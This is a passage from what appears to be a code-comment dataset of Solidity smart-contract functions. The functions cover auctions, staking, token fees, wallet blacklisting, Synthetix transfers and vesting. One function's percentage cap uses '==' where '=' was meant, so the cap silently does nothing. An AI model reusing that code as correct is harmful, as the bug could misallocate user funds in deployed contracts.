_editionNumber, uint256 _winningBidAmount) internal {\r\n\r\n // Get the commission and split bid amount accordingly\r\n (address artistAccount, uint256 artistCommission) = kodaAddress.artistCommission(_editionNumber);\r\n\r\n // Extract the artists commission and send it\r\n uint256 artistPayment = _winningBidAmount.div(100).mul(artistCommission);\r\n artistAccount.transfer(artistPayment);\r\n\r\n // Optional Commission Splits\r\n (uint256 optionalCommissionRate, address optionalCommissionRecipient) = kodaAddress.editionOptionalCommission(_editionNumber);\r\n\r\n // Apply optional commission structure if we have one\r\n if (optionalCommissionRate > 0) {\r\n uint256 rateSplit = _winningBidAmount.div(100).mul(optionalCommissionRate);\r\n optionalCommissionRecipient.transfer(rateSplit);\r\n }\r\n\r\n // Send KO remaining amount\r\n uint256 remainingCommission = _winningBidAmount.sub(artistPayment).sub(rateSplit);\r\n koCommissionAccount.transfer(remainingCommission);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Returns funds of the previous highest bidder back to them if present\r\n */", "function_code": "function _refundHighestBidder(uint256 _editionNumber) internal {\r\n // Get current highest bidder\r\n address currentHighestBidder = editionHighestBid[_editionNumber];\r\n\r\n // Get current highest bid amount\r\n uint256 currentHighestBiddersAmount = editionBids[_editionNumber][currentHighestBidder];\r\n\r\n if (currentHighestBidder != address(0) && currentHighestBiddersAmount > 0) {\r\n\r\n // Clear out highest bidder as there is no long one\r\n delete editionHighestBid[_editionNumber];\r\n\r\n // Refund it\r\n currentHighestBidder.transfer(currentHighestBiddersAmount);\r\n\r\n // Emit event\r\n emit BidderRefunded(_editionNumber, currentHighestBidder, currentHighestBiddersAmount);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Enables the edition for auctions in a single call\r\n * @dev Only callable from whitelisted account or KODA edition artists\r\n */", "function_code": "function enableEditionForArtist(uint256 _editionNumber)\r\n public\r\n whenNotPaused\r\n whenEditionExists(_editionNumber)\r\n returns (bool)\r\n {\r\n // Ensure caller is whitelisted or artists\r\n (address artistAccount, uint256 artistCommission) = kodaAddress.artistCommission(_editionNumber);\r\n require(whitelist(msg.sender) || msg.sender == artistAccount, \"Cannot enable when not the edition artist\");\r\n\r\n // Ensure not already setup\r\n require(!enabledEditions[_editionNumber], \"Edition already enabled\");\r\n\r\n // Enable the auction\r\n enabledEditions[_editionNumber] = true;\r\n\r\n // keep track of the edition\r\n editionsOnceEnabledForAuctions.push(_editionNumber);\r\n\r\n // Setup the controller address to be the artist\r\n editionNumberToArtistControlAddress[_editionNumber] = artistAccount;\r\n\r\n emit AuctionEnabled(_editionNumber, msg.sender);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Sets the edition artist control address and enables the edition for auction\r\n * @dev Only callable from whitelist\r\n */", "function_code": "function setArtistsControlAddressAndEnabledEdition(uint256 _editionNumber, address _address)\r\n onlyIfWhitelisted(msg.sender)\r\n public returns (bool) {\r\n require(!enabledEditions[_editionNumber], \"Edition already enabled\");\r\n\r\n // Enable the edition\r\n enabledEditions[_editionNumber] = true;\r\n\r\n // Setup the artist address for this edition\r\n editionNumberToArtistControlAddress[_editionNumber] = _address;\r\n\r\n // keep track of the edition\r\n editionsOnceEnabledForAuctions.push(_editionNumber);\r\n\r\n emit AuctionEnabled(_editionNumber, _address);\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allows for the ability to extract specific ether amounts so we can distribute to the correct bidders accordingly\r\n * @dev Only callable from whitelist\r\n */", "function_code": "function withdrawStuckEtherOfAmount(address _withdrawalAccount, uint256 _amount)\r\n onlyIfWhitelisted(msg.sender)\r\n public {\r\n require(_withdrawalAccount != address(0), \"Invalid address provided\");\r\n require(_amount != 0, \"Invalid amount to withdraw\");\r\n require(address(this).balance >= _amount, \"No more ether to withdraw\");\r\n _withdrawalAccount.transfer(_amount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Look up all the known data about the latest edition bidding round\r\n * @dev Returns zeros for all values when not valid\r\n */", "function_code": "function auctionDetails(uint256 _editionNumber) public view returns (bool _enabled, address _bidder, uint256 _value, address _controller) {\r\n address highestBidder = editionHighestBid[_editionNumber];\r\n uint256 bidValue = editionBids[_editionNumber][highestBidder];\r\n address controlAddress = editionNumberToArtistControlAddress[_editionNumber];\r\n return (\r\n enabledEditions[_editionNumber],\r\n highestBidder,\r\n bidValue,\r\n controlAddress\r\n );\r\n }", "version": "0.4.24"} {"comment": "// ~44k gas", "function_code": "function createGame() payable external returns (uint176 id) {\r\n // Ensure there isnt more than one decimal point in ETH (So we can pack it into a uint16)\r\n require(msg.value >= 0.2 ether && msg.value % 0.1 ether == 0, \"Bad Wager Val\");\r\n\r\n id = encodeGameID(msg.sender, msg.value);\r\n\r\n // Ensure game id doesn't already exist\r\n require(games[id] == 0, \"Game exists\");\r\n\r\n // Fill game data with status 1 (awaiting opponent)\r\n games[id] = encodeGameData(1, address(0), 0);\r\n emit GameCreated(msg.sender, msg.value);\r\n }", "version": "0.8.7"} {"comment": "// ~51k gas without LINK request\n// ~180k with LINK requestRandomness (oof)", "function_code": "function joinGame(address player1) payable external {\r\n uint176 id = encodeGameID(player1, msg.value);\r\n GameData memory g = getGameData(id);\r\n\r\n require(g.status == 1, \"Bad Status\");\r\n require(g.wager == msg.value, \"Wrong Wager\");\r\n require(LINK.balanceOf(address(this)) >= LINK_FEE, \"Not enough LINK\");\r\n\r\n // Update game data with player2 and status 2 (awaiting randomness)\r\n games[id] = encodeGameData(2, msg.sender, 0);\r\n vrfMap[requestRandomness(KEY_HASH, LINK_FEE)] = id;\r\n\r\n emit GameJoined(msg.sender, g.p1, g.wager);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n @notice wrap TROVE\r\n @param _amount uint\r\n @return uint\r\n */", "function_code": "function wrap( uint _amount ) external returns ( uint ) {\r\n IsKEEPER( TROVE ).transferFrom( msg.sender, address(this), _amount );\r\n \r\n uint value = TROVETowTROVE( _amount );\r\n _mint( msg.sender, value );\r\n return value;\r\n }", "version": "0.7.5"} {"comment": "/*\r\n \r\n FEES \r\n \r\n SAFETY FEATURES TO PROTECT BUYERS!\r\n \r\n The fee adjustments are limited to protect buyers\r\n \r\n \r\n 1. The total fees can not go above 15% \r\n \r\n */", "function_code": "function _set_Fees(uint256 Liquidity, uint256 Marketing, uint256 Reflection, uint256 TokenBurn, uint256 Developer) external onlyOwner() {\r\n\r\n // Check fee limits\r\n\r\n require((Reflection+TokenBurn+Liquidity+Marketing+Developer) <= maxPossibleFee, \"Total fees too high!\");\r\n require(Reflection >= minPossibleReflect, \"Reflection fee too low\");\r\n require(Developer >= 1, \"Developer fee too low\");\r\n\r\n // Set the fees\r\n\r\n _FeeLiquidity = Liquidity;\r\n _FeeMarketing = Marketing;\r\n _FeeReflection = Reflection;\r\n _FeeBurnTokens = TokenBurn;\r\n _FeeDev = Developer;\r\n\r\n // For calculations and processing \r\n\r\n _promoFee = _FeeMarketing+_FeeDev;\r\n _liquidityAndPromoFee = _FeeLiquidity+_promoFee;\r\n _FeesTotal = _FeeMarketing+_FeeDev+_FeeLiquidity+_FeeBurnTokens+_FeeReflection;\r\n\r\n }", "version": "0.8.6"} {"comment": "// Blacklist - block wallets (ADD - COMMA SEPARATE MULTIPLE WALLETS)", "function_code": "function blacklist_Add_Wallets(address[] calldata addresses) external onlyOwner {\r\n \r\n uint256 startGas;\r\n uint256 gasUsed;\r\n\r\n for (uint256 i; i < addresses.length; ++i) {\r\n if(gasUsed < gasleft()) {\r\n startGas = gasleft();\r\n if(!_isBlacklisted[addresses[i]]){\r\n _isBlacklisted[addresses[i]] = true;}\r\n gasUsed = startGas - gasleft();\r\n }\r\n }\r\n }", "version": "0.8.6"} {"comment": "// Blacklist - block wallets (REMOVE - COMMA SEPARATE MULTIPLE WALLETS)", "function_code": "function blacklist_Remove_Wallets(address[] calldata addresses) external onlyOwner {\r\n \r\n uint256 startGas;\r\n uint256 gasUsed;\r\n\r\n for (uint256 i; i < addresses.length; ++i) {\r\n if(gasUsed < gasleft()) {\r\n startGas = gasleft();\r\n if(_isBlacklisted[addresses[i]]){\r\n _isBlacklisted[addresses[i]] = false;}\r\n gasUsed = startGas - gasleft();\r\n }\r\n }\r\n }", "version": "0.8.6"} {"comment": "// Remove all fees", "function_code": "function removeAllFee() private {\r\n if(_FeeReflection == 0 && _FeeLiquidity == 0 && _FeeMarketing == 0 && _FeeDev == 0 && _FeeBurnTokens == 0) return;\r\n \r\n _previousFeeReflection = _FeeReflection;\r\n _previousFeeLiquidity = _FeeLiquidity;\r\n _previousFeeMarketing = _FeeMarketing;\r\n _previousFeeDev = _FeeDev;\r\n _previousFeeBurnTokens = _FeeBurnTokens;\r\n \r\n _FeeReflection = 0;\r\n _liquidityAndPromoFee = 0;\r\n _FeeLiquidity = 0;\r\n _FeeMarketing = 0;\r\n _FeeBurnTokens = 0;\r\n _FeeDev = 0;\r\n _promoFee = 0;\r\n _FeesTotal = 0;\r\n }", "version": "0.8.6"} {"comment": "// Manually purge BNB from contract and send to wallets", "function_code": "function process_Purge_BNBFromContract() public onlyOwner {\r\n // Do not trigger if already in swap\r\n require(!inSwapAndLiquify, \"Processing liquidity, try to purge later.\"); \r\n // Check BNB on contract\r\n uint256 bnbAmount = address(this).balance;\r\n // Check correct ratio to purge BNB\r\n uint256 splitCalcPromo = precDiv(_FeeMarketing,_promoFee,2);\r\n // Send BNB to marketing wallet\r\n uint256 marketingBNB = bnbAmount*splitCalcPromo/100;\r\n if (marketingBNB > 0){sendToWallet(Wallet_Marketing, marketingBNB);}\r\n // Send BNB to developer wallet\r\n uint256 developerBNB = bnbAmount-marketingBNB;\r\n if (developerBNB > 0){sendToWallet(Wallet_Dev, developerBNB);}\r\n }", "version": "0.8.6"} {"comment": "// Manual 'swapAndLiquify' Trigger (Enter the percent of the tokens that you'd like to send to swap and liquify)", "function_code": "function process_SwapAndLiquify_Now (uint256 percent_Of_Tokens_To_Liquify) public onlyOwner {\r\n // Do not trigger if already in swap\r\n require(!inSwapAndLiquify, \"Currently processing liquidity, try later.\"); \r\n if (percent_Of_Tokens_To_Liquify > 100){percent_Of_Tokens_To_Liquify == 100;}\r\n uint256 tokensOnContract = balanceOf(address(this));\r\n uint256 sendTokens = tokensOnContract*percent_Of_Tokens_To_Liquify/100;\r\n swapAndLiquify(sendTokens);\r\n }", "version": "0.8.6"} {"comment": "/*\r\n \r\n Transfer Functions\r\n \r\n There are 4 transfer options, based on whether the to, from, neither or both wallets are excluded from rewards\r\n \r\n */", "function_code": "function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {\r\n \r\n \r\n \r\n if(!takeFee){\r\n removeAllFee();\r\n } else {\r\n txCount++;\r\n }\r\n \r\n if (_isExcluded[sender] && !_isExcluded[recipient]) {\r\n _transferFromExcluded(sender, recipient, amount);\r\n } else if (!_isExcluded[sender] && _isExcluded[recipient]) {\r\n _transferToExcluded(sender, recipient, amount);\r\n } else if (!_isExcluded[sender] && !_isExcluded[recipient]) {\r\n _transferStandard(sender, recipient, amount);\r\n } else if (_isExcluded[sender] && _isExcluded[recipient]) {\r\n _transferBothExcluded(sender, recipient, amount);\r\n } else {\r\n _transferStandard(sender, recipient, amount);\r\n }\r\n \r\n if(!takeFee)\r\n restoreAllFee();\r\n }", "version": "0.8.6"} {"comment": "/**\r\n * @notice If the self-destruction delay has elapsed, destroy this contract and\r\n * remit any ether it owns to the beneficiary address.\r\n * @dev Only the contract owner may call this.\r\n */", "function_code": "function selfDestruct()\r\n external\r\n onlyOwner\r\n {\r\n require(selfDestructInitiated, \"Self destruct has not yet been initiated\");\r\n require(initiationTime + SELFDESTRUCT_DELAY < now, \"Self destruct delay has not yet elapsed\");\r\n address beneficiary = selfDestructBeneficiary;\r\n emit SelfDestructed(beneficiary);\r\n selfdestruct(beneficiary);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Set an inverse price up for the currency key\r\n * @param currencyKey The currency to update\r\n * @param entryPoint The entry price point of the inverted price\r\n * @param upperLimit The upper limit, at or above which the price will be frozen\r\n * @param lowerLimit The lower limit, at or below which the price will be frozen\r\n */", "function_code": "function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)\r\n external onlyOwner\r\n {\r\n require(entryPoint > 0, \"entryPoint must be above 0\");\r\n require(lowerLimit > 0, \"lowerLimit must be above 0\");\r\n require(upperLimit > entryPoint, \"upperLimit must be above the entryPoint\");\r\n require(upperLimit < entryPoint.mul(2), \"upperLimit must be less than double entryPoint\");\r\n require(lowerLimit < entryPoint, \"lowerLimit must be below the entryPoint\");\r\n\r\n if (inversePricing[currencyKey].entryPoint <= 0) {\r\n // then we are adding a new inverse pricing, so add this\r\n invertedKeys.push(currencyKey);\r\n }\r\n inversePricing[currencyKey].entryPoint = entryPoint;\r\n inversePricing[currencyKey].upperLimit = upperLimit;\r\n inversePricing[currencyKey].lowerLimit = lowerLimit;\r\n inversePricing[currencyKey].frozen = false;\r\n\r\n emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Override ERC20 transfer function in order to\r\n * subtract the transaction fee and send it to the fee pool\r\n * for SNX holders to claim. */", "function_code": "function transfer(address to, uint value)\r\n public\r\n optionalProxy\r\n notFeeAddress(messageSender)\r\n returns (bool)\r\n {\r\n uint amountReceived = feePool.amountReceivedFromTransfer(value);\r\n uint fee = value.sub(amountReceived);\r\n\r\n // Send the fee off to the fee pool.\r\n synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);\r\n\r\n // And send their result off to the destination address\r\n bytes memory empty;\r\n return _internalTransfer(messageSender, to, amountReceived, empty);\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Override ERC223 transferFrom function in order to\r\n * subtract the transaction fee and send it to the fee pool\r\n * for SNX holders to claim. */", "function_code": "function transferFrom(address from, address to, uint value, bytes data)\r\n public\r\n optionalProxy\r\n notFeeAddress(from)\r\n returns (bool)\r\n {\r\n // The fee is deducted from the amount sent.\r\n uint amountReceived = feePool.amountReceivedFromTransfer(value);\r\n uint fee = value.sub(amountReceived);\r\n\r\n // Reduce the allowance by the amount we're transferring.\r\n // The safeSub call will handle an insufficient allowance.\r\n tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));\r\n\r\n // Send the fee off to the fee pool, which we don't want to charge an additional fee on\r\n synthetix.synthInitiatedFeePayment(from, currencyKey, fee);\r\n\r\n return _internalTransfer(from, to, amountReceived, data);\r\n }", "version": "0.4.25"} {"comment": "/* Subtract the transfer fee from the senders account so the\r\n * receiver gets the exact amount specified to send. */", "function_code": "function transferSenderPaysFee(address to, uint value)\r\n public\r\n optionalProxy\r\n notFeeAddress(messageSender)\r\n returns (bool)\r\n {\r\n uint fee = feePool.transferFeeIncurred(value);\r\n\r\n // Send the fee off to the fee pool, which we don't want to charge an additional fee on\r\n synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);\r\n\r\n // And send their transfer amount off to the destination address\r\n bytes memory empty;\r\n return _internalTransfer(messageSender, to, value, empty);\r\n }", "version": "0.4.25"} {"comment": "/* Subtract the transfer fee from the senders account so the\r\n * to address receives the exact amount specified to send. */", "function_code": "function transferFromSenderPaysFee(address from, address to, uint value)\r\n public\r\n optionalProxy\r\n notFeeAddress(from)\r\n returns (bool)\r\n {\r\n uint fee = feePool.transferFeeIncurred(value);\r\n\r\n // Reduce the allowance by the amount we're transferring.\r\n // The safeSub call will handle an insufficient allowance.\r\n tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));\r\n\r\n // Send the fee off to the fee pool, which we don't want to charge an additional fee on\r\n synthetix.synthInitiatedFeePayment(from, currencyKey, fee);\r\n\r\n bytes memory empty;\r\n return _internalTransfer(from, to, value, empty);\r\n }", "version": "0.4.25"} {"comment": "// Override our internal transfer to inject preferred currency support", "function_code": "function _internalTransfer(address from, address to, uint value, bytes data)\r\n internal\r\n returns (bool)\r\n {\r\n bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);\r\n\r\n // Do they have a preferred currency that's not us? If so we need to exchange\r\n if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {\r\n return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);\r\n } else {\r\n // Otherwise we just transfer\r\n return super._internalTransfer(from, to, value, data);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Function that allows you to exchange synths you hold in one flavour for another.\r\n * @param sourceCurrencyKey The source currency you wish to exchange from\r\n * @param sourceAmount The amount, specified in UNIT of source currency you wish to exchange\r\n * @param destinationCurrencyKey The destination currency you wish to obtain.\r\n * @param destinationAddress Deprecated. Will always send to messageSender\r\n * @return Boolean that indicates whether the transfer succeeded or failed.\r\n */", "function_code": "function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)\r\n external\r\n optionalProxy\r\n // Note: We don't need to insist on non-stale rates because effectiveValue will do it for us.\r\n returns (bool)\r\n {\r\n require(sourceCurrencyKey != destinationCurrencyKey, \"Exchange must use different synths\");\r\n require(sourceAmount > 0, \"Zero amount\");\r\n\r\n // If protectionCircuit is true then we burn the synths through _internalLiquidation()\r\n if (protectionCircuit) {\r\n return _internalLiquidation(\r\n messageSender,\r\n sourceCurrencyKey,\r\n sourceAmount\r\n );\r\n } else {\r\n // Pass it along, defaulting to the sender as the recipient.\r\n return _internalExchange(\r\n messageSender,\r\n sourceCurrencyKey,\r\n sourceAmount,\r\n destinationCurrencyKey,\r\n messageSender,\r\n true // Charge fee on the exchange\r\n );\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice Function that allows synth contract to delegate sending fee to the fee Pool.\r\n * @dev Only the synth contract can call this function.\r\n * @param from The address fee is coming from.\r\n * @param sourceCurrencyKey source currency fee from.\r\n * @param sourceAmount The amount, specified in UNIT of source currency.\r\n * @return Boolean that indicates whether the transfer succeeded or failed.\r\n */", "function_code": "function synthInitiatedFeePayment(\r\n address from,\r\n bytes4 sourceCurrencyKey,\r\n uint sourceAmount\r\n )\r\n external\r\n onlySynth\r\n returns (bool)\r\n {\r\n // Allow fee to be 0 and skip minting XDRs to feePool\r\n if (sourceAmount == 0) {\r\n return true;\r\n }\r\n\r\n require(sourceAmount > 0, \"Source can't be 0\");\r\n\r\n // Pass it along, defaulting to the sender as the recipient.\r\n bool result = _internalExchange(\r\n from,\r\n sourceCurrencyKey,\r\n sourceAmount,\r\n \"XDR\",\r\n feePool.FEE_ADDRESS(),\r\n false // Don't charge a fee on the exchange because this is already a fee\r\n );\r\n\r\n // Tell the fee pool about this.\r\n feePool.feePaid(sourceCurrencyKey, sourceAmount);\r\n\r\n return result;\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice The number of SNX that are free to be transferred by an account.\r\n * @dev When issuing, escrowed SNX are locked first, then non-escrowed\r\n * SNX are locked last, but escrowed SNX are not transferable, so they are not included\r\n * in this calculation.\r\n */", "function_code": "function transferableSynthetix(address account)\r\n public\r\n view\r\n rateNotStale(\"SNX\")\r\n returns (uint)\r\n {\r\n // How many SNX do they have, excluding escrow?\r\n // Note: We're excluding escrow here because we're interested in their transferable amount\r\n // and escrowed SNX are not transferable.\r\n uint balance = tokenState.balanceOf(account);\r\n\r\n // How many of those will be locked by the amount they've issued?\r\n // Assuming issuance ratio is 20%, then issuing 20 SNX of value would require\r\n // 100 SNX to be locked in their wallet to maintain their collateralisation ratio\r\n // The locked synthetix value can exceed their balance.\r\n uint lockedSynthetixValue = debtBalanceOf(account, \"SNX\").divideDecimalRound(synthetixState.issuanceRatio());\r\n\r\n // If we exceed the balance, no SNX are transferable, otherwise the difference is.\r\n if (lockedSynthetixValue >= balance) {\r\n return 0;\r\n } else {\r\n return balance.sub(lockedSynthetixValue);\r\n }\r\n }", "version": "0.4.25"} {"comment": "/**\r\n * @notice stake KEEPER to enter warmup\r\n * @param _amount uint\r\n * @param _recipient address\r\n */", "function_code": "function stake( uint _amount, address _recipient, bool _wrap ) external returns ( uint ) {\r\n rebase();\r\n\r\n KEEPER.safeTransferFrom( msg.sender, address(this), _amount );\r\n\r\n if ( warmupPeriod == 0 ) {\r\n return _send( _recipient, _amount, _wrap );\r\n }\r\n else {\r\n Claim memory info = warmupInfo[ _recipient ];\r\n if ( !info.lock ) {\r\n require( _recipient == msg.sender, \"External deposits for account are locked\" );\r\n }\r\n\r\n uint sKeeperGons = sKEEPER.gonsForBalance( _amount );\r\n warmupInfo[ _recipient ] = Claim ({\r\n deposit: info.deposit.add(_amount),\r\n gons: info.gons.add(sKeeperGons),\r\n expiry: epoch.number.add32(warmupPeriod),\r\n lock: info.lock\r\n });\r\n\r\n gonsInWarmup = gonsInWarmup.add(sKeeperGons);\r\n return _amount;\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice redeem sKEEPER for KEEPER\r\n * @param _amount uint\r\n * @param _trigger bool\r\n */", "function_code": "function unstake( uint _amount, bool _trigger ) external returns ( uint ) {\r\n if ( _trigger ) {\r\n rebase();\r\n }\r\n uint amount = _amount;\r\n sKEEPER.safeTransferFrom( msg.sender, address(this), _amount );\r\n KEEPER.safeTransfer( msg.sender, amount );\r\n return amount;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice send staker their amount as sKEEPER or gKEEPER\r\n * @param _recipient address\r\n * @param _amount uint\r\n */", "function_code": "function _send( address _recipient, uint _amount, bool _wrap ) internal returns ( uint ) {\r\n if (_wrap) {\r\n sKEEPER.approve( address( wTROVE ), _amount );\r\n uint wrapValue = wTROVE.wrap( _amount );\r\n wTROVE.transfer( _recipient, wrapValue );\r\n } else {\r\n sKEEPER.safeTransfer( _recipient, _amount ); // send as sKEEPER (equal unit as KEEPER)\r\n }\r\n return _amount;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n @notice set adjustment info for a collector's reward rate\r\n @param _index uint\r\n @param _add bool\r\n @param _rate uint\r\n @param _target uint\r\n */", "function_code": "function setAdjustment( uint _index, bool _add, uint _rate, uint _target ) external onlyOwner() {\r\n require(_add || info[ _index ].rate >= _rate, \"Negative adjustment rate cannot be more than current rate.\");\r\n adjustments[ _index ] = Adjust({\r\n add: _add,\r\n rate: _rate,\r\n target: _target\r\n });\r\n }", "version": "0.7.5"} {"comment": "/// @dev Hook that is called before any token transfer. This includes minting", "function_code": "function _beforeTokenTransfer(\r\n address from,\r\n address to,\r\n uint tokenId\r\n ) internal virtual override {\r\n super._beforeTokenTransfer(from, to, tokenId);\r\n\r\n if (from == address(0)) {\r\n assert(tokenId == _totalSupply); // Ensure token is minted sequentially\r\n _totalSupply += 1;\r\n } else if (from != to) {\r\n _removeTokenFromOwnerEnumeration(from, tokenId);\r\n }\r\n\r\n if (to == address(0)) {\r\n // do nothing\r\n } else if (to != from) {\r\n _addTokenToOwnerEnumeration(to, tokenId);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/**\r\n * @dev See {ERC721Enumerable-_removeTokenFromOwnerEnumeration}.\r\n * @param from address representing the previous owner of the given token ID\r\n * @param tokenId uint ID of the token to be removed from the tokens list of the given address\r\n */", "function_code": "function _removeTokenFromOwnerEnumeration(address from, uint tokenId) private {\r\n // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and\r\n // then delete the last slot (swap and pop).\r\n\r\n uint lastTokenIndex = ERC721.balanceOf(from) - 1;\r\n uint tokenIndex = _ownedTokensIndex[tokenId];\r\n\r\n // When the token to delete is the last token, the swap operation is unnecessary\r\n if (tokenIndex != lastTokenIndex) {\r\n uint lastTokenId = _ownedTokens[from][lastTokenIndex];\r\n\r\n _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token\r\n _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index\r\n }\r\n\r\n // This also deletes the contents at the last position of the array\r\n delete _ownedTokensIndex[tokenId];\r\n delete _ownedTokens[from][lastTokenIndex];\r\n }", "version": "0.8.0"} {"comment": "// #0 - #29: Reserved for giveaways and people who helped along the way", "function_code": "function reserveGiveaway(uint numWpunks) public onlyOwner {\r\n uint currentSupply = totalSupply();\r\n require(currentSupply + numWpunks <= 10, \"Exceeded giveaway limit\");\r\n for (uint index = 0; index < numWpunks; index++) {\r\n _safeMint(owner(), currentSupply + index);\r\n }\r\n }", "version": "0.8.0"} {"comment": "/**\r\n @notice increases sKEEPER supply to increase staking balances relative to _profit\r\n @param _profit uint256\r\n @return uint256\r\n */", "function_code": "function rebase(uint256 _profit, uint _epoch) public onlyStakingContract() returns (uint256) {\r\n uint256 rebaseAmount;\r\n uint256 _circulatingSupply = circulatingSupply();\r\n\r\n if (_profit == 0) {\r\n emit LogSupply(_epoch, block.timestamp, _totalSupply);\r\n emit LogRebase(_epoch, 0, index());\r\n return _totalSupply;\r\n }\r\n else if (_circulatingSupply > 0) {\r\n rebaseAmount = _profit.mul(_totalSupply).div(_circulatingSupply);\r\n }\r\n else {\r\n rebaseAmount = _profit;\r\n }\r\n\r\n _totalSupply = _totalSupply.add(rebaseAmount);\r\n if (_totalSupply > MAX_SUPPLY) {\r\n _totalSupply = MAX_SUPPLY;\r\n }\r\n\r\n _gonsPerFragment = TOTAL_GONS.div(_totalSupply);\r\n _storeRebase(_circulatingSupply, _profit, _epoch);\r\n return _totalSupply;\r\n }", "version": "0.7.5"} {"comment": "// Sets terms for multiple wallets", "function_code": "function setTermsMultiple(address[] calldata _vesters, uint[] calldata _amountCanClaims, uint[] calldata _rates ) external onlyOwner() returns ( bool ) {\r\n for (uint i=0; i < _vesters.length; i++) {\r\n terms[_vesters[i]].max = _amountCanClaims[i];\r\n terms[_vesters[i]].initPercent = _rates[i];\r\n }\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// Allows wallet to redeem cKEEPER for KEEPER", "function_code": "function exercise( uint _amount, bool _stake, bool _wrap ) external returns ( bool ) {\r\n Term memory info = terms[ msg.sender ];\r\n require( redeemable( info ) >= _amount, 'Not enough vested' );\r\n require( info.max.sub( info.claimed ) >= _amount, 'Claimed over max' );\r\n\r\n uint usdcAmount = _amount.div(1e12);\r\n IERC20( USDC ).safeTransferFrom( msg.sender, address( this ), usdcAmount );\r\n IcKEEPER( cKEEPER ).burnFrom( msg.sender, _amount );\r\n\r\n IERC20( USDC ).approve( treasury, usdcAmount );\r\n uint KEEPERToSend = ITreasury( treasury ).deposit( usdcAmount, USDC, 0 );\r\n\r\n terms[ msg.sender ].claimed = info.claimed.add( _amount );\r\n\r\n if ( _stake ) {\r\n IERC20( KEEPER ).approve( staking, KEEPERToSend );\r\n IStaking( staking ).stake( KEEPERToSend, msg.sender, _wrap );\r\n } else {\r\n IERC20( KEEPER ).safeTransfer( msg.sender, KEEPERToSend );\r\n }\r\n\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// Allows wallet to pull rights from an old address", "function_code": "function pullWalletChange( address _oldWallet ) external returns ( bool ) {\r\n require( walletChange[ _oldWallet ] == msg.sender, \"wallet did not push\" );\r\n walletChange[ _oldWallet ] = address(0);\r\n terms[ msg.sender ] = terms[ _oldWallet ];\r\n delete terms[ _oldWallet ];\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "// function updateTotalRedeemable() external {\n// require( msg.sender == redeemUpdater, \"Only redeem updater can call.\" );\n// uint keeperBalance = KEEPER.balanceOf( address(this) );\n// uint newRedeemable = keeperBalance.add(totalRedeemed).mul(block.timestamp.sub(redeemableLastUpdated)).div(31536000);\n// totalRedeemable = totalRedeemable.add(newRedeemable);\n// if (totalRedeemable > keeperBalance ) {\n// totalRedeemable = keeperBalance;\n// }\n// redeemableLastUpdated = block.timestamp;\n// }\n// Allows wallet to redeem KEEPER", "function_code": "function redeem( uint _amount ) external returns ( bool ) {\r\n Term memory info = terms[ msg.sender ];\r\n require( redeemable( info ) >= _amount, 'Not enough vested' );\r\n KEEPER.safeTransfer(msg.sender, _amount);\r\n terms[ msg.sender ].claimed = info.claimed.add( _amount );\r\n totalRedeemed = totalRedeemed.add(_amount);\r\n emit KeeperRedeemed(msg.sender, _amount);\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice calculate amount of KEEPER available for claim by depositor\r\n * @param _depositor address\r\n * @return pendingPayout_ uint\r\n */", "function_code": "function pendingPayoutFor( address _depositor ) external view returns ( uint pendingPayout_ ) {\r\n uint percentVested = percentVestedFor( _depositor );\r\n uint payout = bondInfo[ _depositor ].payout;\r\n\r\n if ( percentVested >= 10000 ) {\r\n pendingPayout_ = payout;\r\n } else {\r\n pendingPayout_ = payout.mul( percentVested ).div( 10000 );\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice allow anyone to send lost tokens (excluding principle or KEEPER) to the DAO\r\n * @return bool\r\n */", "function_code": "function recoverLostToken( address _token ) external returns ( bool ) {\r\n require( _token != KEEPER );\r\n require( _token != principle );\r\n IERC20( _token ).safeTransfer( DAO, IERC20( _token ).balanceOf( address(this) ) );\r\n return true;\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * Allows for the transfer of MSTCOIN tokens from peer to peer. \r\n *\r\n * @param _to The address of the receiver\r\n * @param _value The amount of tokens to send\r\n **/", "function_code": "function transfer(address _to, uint256 _value) public returns(bool) {\r\n require(balances[msg.sender] >= _value && _value > 0 && _to != 0x0);\r\n balances[msg.sender] = balances[msg.sender].sub(_value);\r\n balances[_to] = balances[_to].add(_value);\r\n Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * Allows for the transfer of tokens on the behalf of the owner given that the owner has\r\n * allowed it previously. \r\n 